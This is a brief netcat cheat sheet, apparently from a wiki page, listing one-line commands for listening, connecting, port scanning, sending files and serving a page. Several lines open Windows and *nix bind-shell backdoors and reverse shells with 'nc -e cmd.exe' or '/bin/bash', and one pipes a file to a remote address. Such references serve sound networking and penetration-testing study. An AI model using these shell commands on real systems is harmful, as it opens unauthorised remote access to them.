Netcat Cheat Sheet

Listen on port 8080

nc -l -p 8080

Connect to 127.0.0.1 on port 80

nc 127.0.0.1 80

Listening windows backdoor

nc -l -p 888 -e cmd.exe

Listening *nix backdoor

nc -l -p 888 -e /bin/bash

Reverse windows shell to 127.0.0.1

nc 127.0.0.1 888 -e cmd.exe

Reverse *nix shell to 127.0.0.1

nc 127.0.0.1 888 -e /bin/bash

Port scan an IP Adddress

nc -v -n -z -w1 [TargetIPaddr] [StartPort] - [EndPort]

To pipe a text file to the listener:

cat infile | nc 1.2.3.4 567 -q 10

Using netcat to make an HTTP request

echo -e "GET http://www.google.com HTTP/1.0nn" | nc -w 5 www.google.com 80

Making a one-page webserver; this will feed homepage.txt to all comers.

cat homepage.txt | nc -v -l -p 80

Unless otherwise stated, the content of this page is licensed under Creative Commons Attribution-ShareAlike 3.0 License